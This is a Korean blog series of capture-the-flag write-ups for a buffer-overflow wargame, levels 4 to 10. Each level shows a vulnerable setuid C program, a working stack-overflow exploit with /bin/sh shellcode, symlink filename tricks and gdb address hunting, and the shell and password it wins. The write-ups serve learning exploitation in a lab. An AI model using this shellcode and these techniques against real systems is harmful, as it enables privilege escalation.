LEVEL10 (vampire -> skeleton) : argv hunter

argv hunter는 argv를 비우는 문제인가.. 일단 코드를 보자

[vampire@localhost .izayoi]$ cat skeleton.c
#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i, saved_argc;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        // argc saver
        saved_argc = argc;

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // shellcode hunter
        memset(buffer, 0, 40);

        // ultra argv hunter!
        for(i=0; i<saved_argc; i++)
                memset(argv[i], 0, strlen(argv[i]));
}


이번에는 argv를 전부 없애버린다. 그동안 쓰던 argv영역을 모조리 쓸 수 없게 되었다.
자료를 찾다보니 스택의 맨 끝부분에서는 파일명이 들어간다고 한다(0xbfffffff의 조금 앞쪽부분)

 [vampire@localhost .izayoi]$ ls
aaaaaaaaa  core  skeleton  skeleton.c
[vampire@localhost .izayoi]$ ./aaaaaaaaa `perl -e 'print "\xbf"x48'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿
Segmentation fault (core dumped)
[vampire@localhost .izayoi]$ gdb -c core -q
Core was generated by `                                                            '.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()
(gdb) x/70x $esp
...
0xbfffffe0:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffff0:     0x61612f2e      0x61616161      0x00616161      0x00000000
0xc0000000:     Cannot access memory at address 0xc0000000

그렇다면 다시 심볼릭 링크를 걸고 파일명에다가 쉘코드를 집어은 뒤에 그 뒷부분영역을 ret에 넣으면 될것같다.

[vampire@localhost .izayoi]$ ln -s skeleton `perl -e 'print "\x90"x100,"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[vampire@localhost .izayoi]$ ls
core
skeleton
skeleton.c
????????????????????????????????????????????????????????????????????????????????????????????????????ë?^1ɱ2?l?ÿ??é?uöë?èêÿÿÿ2ÁQi00tii0cjo?äQT?â?±?Î?
[vampire@localhost .izayoi]$ ./`perl -e 'print "\x90"x100,"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\xbf"x48'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿
Segmentation fault (core dumped)
[vampire@localhost .izayoi]$ gdb -c core -q
Core was generated by `                                                                              '.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()
(gdb) x/70x 0xbfffff50
0xbfffff50:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff60:     0x00000000      0x902f2e00      0x90909090      0x90909090
0xbfffff70:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffff80:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffff90:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffffa0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffffb0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbfffffc0:     0x90909090      0x90909090      0xeb909090      0xc9315e11
0xbfffffd0:     0x6c8032b1      0x8001ff0e      0xf67501e9      0xeae805eb
0xbfffffe0:     0x32ffffff      0x306951c1      0x69697430      0x6f6a6330
0xbffffff0:     0x5451e48a      0xb19ae28a      0x0081ce0c      0x00000000
0xc0000000:     Cannot access memory at address 0xc0000000

심볼릭 링크를 걸구... 위치를 확인하구...

 [vampire@localhost .izayoi]$ ln -s skeleton `perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[vampire@localhost .izayoi]$ ./`perl -e 'print "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'` `perl -e 'print "\xbf"x44,"\xd2\xff\xff\xbf"'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿Òÿÿ¿
Segmentation fault (core dumped)
[vampire@localhost .izayoi]$ gdb -c core
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
Core was generated by `                                                                              '.
Program terminated with signal 11, Segmentation fault.
#0  0xbfffffd2 in ?? ()
(gdb) x/70x 0xbfffffd2
0xbfffffd2:     0xff0e6c80      0x01e98001      0x05ebf675      0xffffeae8
0xbfffffe2:     0x51c132ff      0x74303069      0x63306969      0xe48a6f6a
0xbffffff2:     0xe28a5451      0xce0cb19a      0x00000081      Cannot access memory at address 0xbffffffe
(gdb)

한참을 시도했는데 안된다. 나는 내가 잘못한것인줄 알았으나 ret에서 가리키는 부분을 확인해보니 0xbfffffd2부분을 가리키고 있었다.
흠... 48byte짜리 쉘코드가 너무 긴가보다.

[vampire@localhost vampire]$ ln -s skeleton `perl -e 'print "\x90"x100,"\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'`
[vampire@localhost vampire]$ ./`perl -e 'print "\x90"x100,"\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3"'` `perl -e 'print "a"x44,"\xa0\xff\xff\xbf"'`
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa ÿÿ¿
bash$ id;my-pass
uid=509(vampire) gid=509(vampire) euid=510(skeleton) egid=510(skeleton) groups=509(vampire)
euid = 510
shellcoder

다른 쉘코드를 하니 됐는데 디버깅해서 확인해보고 싶은데 제대로 확인하지 못하고 일단 실험을 종료하였다.

p.s. 추가

http://devanix.tistory.com/145

해당 링크를 확인하면 이 문제의 다른 풀이가 있다.
rtl기법을 이용한 쉘코드로써 http://www.hackerschool.org/HS_Boards/data/Lib_system/rtl_sc.txt 여기에 또 자세한 설명이 있다.

이 문제도 푸는 방법은 동일하나 쉘코드 작성에 대해서 서술했기에 한번 링크를 걸게 되었다.
Posted by john@memory :
LEVEL9 (troll -> vampire) : check 0xbfff

0xbfff를 체크한다고 하는데 문제의 소스를 보자

 [troll@localhost .izayoi]$ cat vampire.c
#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // here is changed!
        if(argv[1][46] == '\xff')
        {
                printf("but it's not forever\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}


역시 전과 동일하지만 bf영역(스택영역)을 가리키면서 ff영역은 되면 안된다.
이때 argv영역은 스택이 쌓이면 쌓일수록 높은 주소에서 낮은 주소로 가게 되는데 충분히 큰 크기(약 100000개)를 할당해준다면 argv의 시작주소도 낮아지게 될 것이다. 여기선 argv[1]에 주소값을 복사하도록 하고 argv[2]에 쉘코드를 집어넣는 방법을 택한다

 [troll@localhost .izayoi]$ ./vampire `perl -e 'print "\xbf"x48'` `perl -e 'print "\x90"x20000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","a"x80000'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿
Segmentation fault (core dumped)
[troll@localhost .izayoi]$ gdb -c core -q
Core was generated by `./vampire ¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿ '.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()
(gdb) x/70x $esp
...
0xbffe7568:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffe7578:     0x36690000      0x2e003638      0x6d61762f      0x65726970
0xbffe7588:     0xbfbfbf00      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffe7598:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffe75a8:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffe75b8:     0x909000bf      0x90909090      0x90909090      0x90909090
0xbffe75c8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffe75d8:     0x90909090      0x90909090      0x90909090      0x90909090
...

이런 식으로 넣을 예정이다. 이제 argv[1]에는 적당한 값 (0xbffe75f8) 정도를 넣어볼 것이다.

 [troll@localhost troll]$ ./vampire `perl -e 'print "\xbf"x44,"\xf8\x75\xfe\xbf"'` `perl -e 'print "\x90"x20000,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","a"x80000'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿øuþ¿
bash$ id;my-pass
uid=508(troll) gid=508(troll) euid=509(vampire) egid=509(vampire) groups=508(troll)
euid = 509
music world

성공
Posted by john@memory :
LEVEL8 (orge -> troll) : check argc

argc는 argv의 개수를 체크한다는 뜻인거같은데 한번 코드를 확인해보자

[orge@localhost .izayoi]$ cat troll.c
#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        // here is changed
        if(argc != 2){
                printf("argc must be two!\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // shellcode hunter
        memset(buffer, 0, 40);
        // one more!
        memset(argv[1], 0, strlen(argv[1]));
}


이번 문제는 egghunter bufferhunter에 스택영역에서의 공격 및 argv[1]의 글자수에다가[이전 문제까지의 적용.]
추가 된 부분이 argc가 2이여야 되고 argv[1]이 버퍼에 복사한 뒤에는 메모리를 비워버린단 것이다.

방법을 생각해보니깐 도저히 이 방법밖에는 안보였다.
argv[0]에 심볼릭 링크로 쉘코드를 넣고 argv[1]에서 버퍼를 채운뒤 argv[0]의 주소를 집어넣으면 될 것이다. 다행히 argv[0]에 글자수 제한은 사라졌다. 적당히 nop코드 넣고 짜면 계산 대충 해도 들어갈 것 같다.

이때 주의할 점은 기존 쉘코드를 이용할수가 없다는 것이다. 왜냐하면 \x2f같은 경우에는 문자열로 계산하면 "/"가 되게 되는데 이게 경로명 설정할때의 문자열로 인식되므로 사용할 수가 없다.
여기서의 쉘코드는
\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81
이것으로 바꿔서 사용하겠다.

 [orge@localhost .izayoi]$ ln -s troll "`perl -e 'print "aaaa","\x90"x100,"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`"
[orge@localhost .izayoi]$ ls
aaaa????????????????????????????????????????????????????????????????????????????????????????????????????ë?^1ɱ2?l?ÿ??é?uöë?èêÿÿÿ2ÁQi00tii0cjo?äQT?â?±?Î?
troll
troll.c

맨 앞에 aaaa를 넣은 이유는 tab키를 눌러서 파일 명을 편하게 치기 위함이다.
[크게 의미를 짓지는 않는다. 만약 perl로 파일명을 치고 싶다면 그냥 aaa를 제외하고 쳐도 상관이 없다.]

그리고 이제 gdb로 덤프뜨고 확인해보자.

 [orge@localhost .izayoi]$
ÿ2ÁQi00tii0cjoŠäQTŠâš±^LΠ `perl -e 'print "\xbf"x48'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿
Segmentation fault (core dumped)
[orge@localhost .izayoi]$ gdb -c core -q
Core was generated by `./aaaa'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()
(gdb) x/70x $esp
...
0xbffffa78:     0x00000000      0x00000000      0x00000000      0x69000000
0xbffffa88:     0x00363836      0x61612f2e      0x90906161      0x90909090
0xbffffa98:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffaa8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffab8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffac8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffad8:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffffae8:     0x90909090      0x90909090      0x90909090      0x11eb9090
0xbffffaf8:     0xb1c9315e      0x0e6c8032      0xe98001ff      0xebf67501
0xbffffb08:     0xffeae805      0xc132ffff      0x30306951      0x30696974
0xbffffb18:     0x8a6f6a63      0x8a5451e4      0x0cb19ae2      0x000081ce
0xbffffb28:     0x00000000      0x00000000      0x00000000      0x00000000
...

맨 위에서는 aaa하고 탭을 누른 결과 글씨가 깨져서 그런거니 오해없길...
(./aaaa(파일명 어쩌구) `perl -e 'print "\xbf"x48'`)이런 구문이다.

개략적으로 0xbffffaa8정도를 치고 공격하자.

 Qi00tii0cjoŠäQTŠâš±^LΠ `perl -e 'print "\xbf"x44,"\xa8\xfa\xff\xbf"'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¨úÿ¿
bash$ id
uid=507(orge) gid=507(orge) euid=508(troll) egid=508(troll) groups=507(orge)
bash$ my-pass
euid = 508
aspirin

성공이다.
\x2f때문에 삽질한 것을 빼도 번거로운 문제다.[...]
Posted by john@memory :
LEVEL7 (darkelf -> orge) : check argv[0]

argv[0]이면 파일명인데 과연 어떤 문제일까

 [darkelf@localhost darkelf]$ cat orge.c
#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // here is changed!
        if(strlen(argv[0]) != 77){
                printf("argv[0] error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // shellcode hunter
        memset(buffer, 0, 40);
}


중간에 주석으로 // here is changed! 가 보인다.
파일명이 77글자가 되지 않으면 파일을 종료시켜버린다. check argv[0]이라길래 egghunter, bufferhunter가 없을줄 알았는데 그대로 있다. 역시 공격은 argv[1]영역을 노리는 것인데 파일명만 77글자이여야 된다.

공격 방법은 전과 동일하나 argv[0]은 이런식으로 쓰면 된다.

 [darkelf@localhost .izayoi]$ .////////////////////////////////////////////////////////////////////////orge `perl -e 'print "\xbf"x48'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿
Segmentation fault (core dumped)
[darkelf@localhost .izayoi]$ gdb -c core -q
Core was generated by `.////////////////////////////////////////////////////////////////////////orge ¿'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()
(gdb)

../../../.././././../../ 이런식의 공격도 가능할 것이다.(아마 이 방법은 home/darkelf/orge라는 글자를 추가시켜야되겠지만.
또 하나 실험을 해봤는데 이런 밑의 경우도 가능할 것 같다. ( 심볼릭 링크 이용 )

[darkelf@localhost .izayoi]$ ln -s orge aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[darkelf@localhost .izayoi]$ ls -al
total 92
drwxrwxr-x    2 darkelf  darkelf      4096 Jan 13 20:48 .
drwx------    3 darkelf  darkelf      4096 Jan 13 20:41 ..
lrwxrwxrwx    1 darkelf  darkelf         4 Jan 13 20:48 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa -> orge
-rw-------    1 darkelf  darkelf     61440 Jan 13 20:44 core
-rwsr-sr-x    1 darkelf  darkelf     12700 Jan 13 20:42 orge
-rw-r--r--    1 darkelf  darkelf       701 Jan 13 20:42 orge.c
[darkelf@localhost .izayoi]$ ./aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa `perl -e 'print "\xbf"x48'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿
Segmentation fault (core dumped)

이제 공격 방법에 대해서는 알고있고 이전 문제와 비슷하기때문에 따로 gdb를 이용한 분석은 빼겠다.

[darkelf@localhost darkelf]$ .////////////////////////////////////////////////////////////////////////orge `perl -e 'print "\x90"x20,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x9c\xfb\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á™°
                     Í€œûÿ¿
bash$ id
uid=506(darkelf) gid=506(darkelf) euid=507(orge) egid=507(orge) groups=506(darkelf)
bash$ my-pass
euid = 507
timewalker

[darkelf@localhost darkelf]$ ./aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa `perl -e 'print "\x90"x20,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x98\xfb\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á™°
                     Í€˜ûÿ¿
bash$ id
uid=506(darkelf) gid=506(darkelf) euid=507(orge) egid=507(orge) groups=506(darkelf)
bash$ my-pass
euid = 507
timewalker

두가지 방법 다 패스워드를 획득했다.
Posted by john@memory :
LEVEL6 (wolfman -> darkelf) : check length of argv[1] + egghunter + bufferhunter

이번에는 argv[1]의 길이도 검사하고 있다. 코드를 확인해보자

 [wolfman@localhost .izayoi]$ cat darkelf.c
#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // shellcode hunter
        memset(buffer, 0, 40);
}


음~ 아마 level2에서 써먹은 방법을 방지하려는 모양이다.
argv[1]이 48글자를 넘으면 프로그램을 종료 시킨다.

level2의 공격 구문을 생각해보면
buffer[16]인데
"a"x16+"ret address 뒷 주소" + "\x90"x100 + shellcode
대충 이런식으로 구성을 했었던 것으로 기억한다.
여기서는 이런 식의 공격을 방지하기 위해 argv값을 계산하였고 우리는 전에 사용하던 방식
"\x90"x20 + shellcode(24byte) + argv address 를 이용할 것 이다.

 [wolfman@localhost .izayoi]$ ./darkelf `perl -e 'print "\xbf"x48'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿
Segmentation fault (core dumped)
[wolfman@localhost .izayoi]$ gdb -c core -q
Core was generated by `./darkelf ¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()
(gdb) x/120x $esp
...
0xbffffc30:     0x00666c65      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffc40:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffc50:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffc60:     0xbfbfbfbf      0x00000000      0x00000000      0x00000000
...

음 0xbffffc34영역부터 "\xbf"가 채워져있는 것을 확인할 수 있다. 그래~

 [wolfman@localhost wolfman]$ ./darkelf `perl -e 'print "\x90"x20,,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x34\xfc\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á™°
                     Í€4üÿ¿
Illegal instruction
[wolfman@localhost wolfman]$ ./darkelf `perl -e 'print "\x90"x20,,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x30\xfc\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á™°
                     Í€0üÿ¿
bash$ id
uid=505(wolfman) gid=505(wolfman) euid=506(darkelf) egid=506(darkelf) groups=505(wolfman)
bash$ my-pass
euid = 506
kernel crashed

개객끼... Illegal instruction이면 아마 코드의 중간부터 시작해서 쉘이 안떨어지는 것이라고 생각한다.
(아마 0x6850c031을 읽은게 아니라 0x68732f2f를 읽었겠지..) 앞으로 4byte만큼 땡겼더니 그때서야 쉘이 떨어진다. 흐흐

0119(다음날) 내용추가

 [wolfman@localhost wolfman]$ ./darkelf `perl -e 'print "\x90"x20,,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x30\xfc\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á™°
                     Í€0üÿ¿
Segmentation fault
[wolfman@localhost wolfman]$ ./darkelf `perl -e 'print "\x90"x20,,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x42\xfc\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á™°
                     Í€Büÿ¿
bash$

다음날 내용중에 my-pass를 쳐서 패스워드를 확인하지 않은 것을 발견. 다시 재작성을 하려고 문제를 다시 풀던 와중. 30의 주소에 넣었더니 세그멘테이션 폴트가 뜨는것이다. 결국 또 패스워드를 찾아본 결과 쉘이 떨어졌다.

결국 실행할때마다?인지는 모르겠으나 주소값이 변하는 것을 알 수 있다.
Posted by john@memory :
LEVEL5 (orc -> wolfman) : egghunter + bufferhunter

orc를 물리칠때와 비슷하나 buffer도 없어지는것 같다. 코드를 확인해보자

[orc@localhost .izayoi]$ cat wolfman.c
#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // shellcode hunter
        memset(buffer, 0, 40);
}


orc문제와 비슷하게 구성되어있고 이번엔 buffer를 비우고 있다.
역시 아까 방법중에 argv[1]을 이용하면 될 것 같다.

 [orc@localhost .izayoi]$ ./wolfman `perl -e 'print "\xbf"x48'`
¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿
Segmentation fault (core dumped)
[orc@localhost .izayoi]$ gdb -c core -q
Core was generated by `./wolfman ¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿¿'.
Program terminated with signal 11, Segmentation fault.
#0  0xbfbfbfbf in ?? ()
(gdb) x/120x $esp
....
0xbffffc40:     0x38366900      0x2f2e0036      0x666c6f77      0x006e616d
0xbffffc50:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffc60:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffc70:     0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf      0xbfbfbfbf
0xbffffc80:     0x00000000      0x00000000      0x00000000      0x00000000
....
(gdb)

이제는 너무 익숙한것 같다.
[stack] [sfp]     [ret]      [argc] [argv] [env]
                   ^0xbffffc50              ^"\x90"x20+shellcode+0xbffffc50

 [orc@localhost orc]$ ./wolfman `perl -e 'print "\x90"x20,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x50\xfc\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á™°
                     Í€Püÿ¿
bash$ id
uid=504(orc) gid=504(orc) euid=505(wolfman) egid=505(wolfman) groups=504(orc)
bash$ my-pass
euid = 505
love eyuna

[orc@localhost orc]$ ./wolfman `perl -e 'print "\x90"x20,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80","\x42\xfc\xff\xbf"'`
1ÀPh//shh/bin‰ãPS‰á™°
                     Í€Büÿ¿
bash$

음 이번에도 위에서 core파일 dump뜬거에서 0xbffffc50이 첫번째 주소로 나와있었지만 실제 wolfman을 때려잡을 때는 0xbffffc42부터 nop썰매가 시작된다는 것을 알 수가 있다.
Posted by john@memory :
LEVEL4 (goblin -> orc) : egghunter

이번 문제는 egghunter이다. 기존에 eggshell을 썼으면 문제를 풀기 힘들겠지만 eggshell을 사용하지 않았기에 상관이 없다.

[goblin@localhost .izayoi]$ cat orc.c
#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
}


중간에 egghunter라는 환경변수를 지워버리는 소스와 함께
argv[1][47]의 값이 \xbf(스택내의 값)이 아니면 종료를 시키는 프로그램이다.

일단은 세그먼테이션 폴트 발생시키고 어디 주소에 버퍼가 쌓이는지 확인해보자

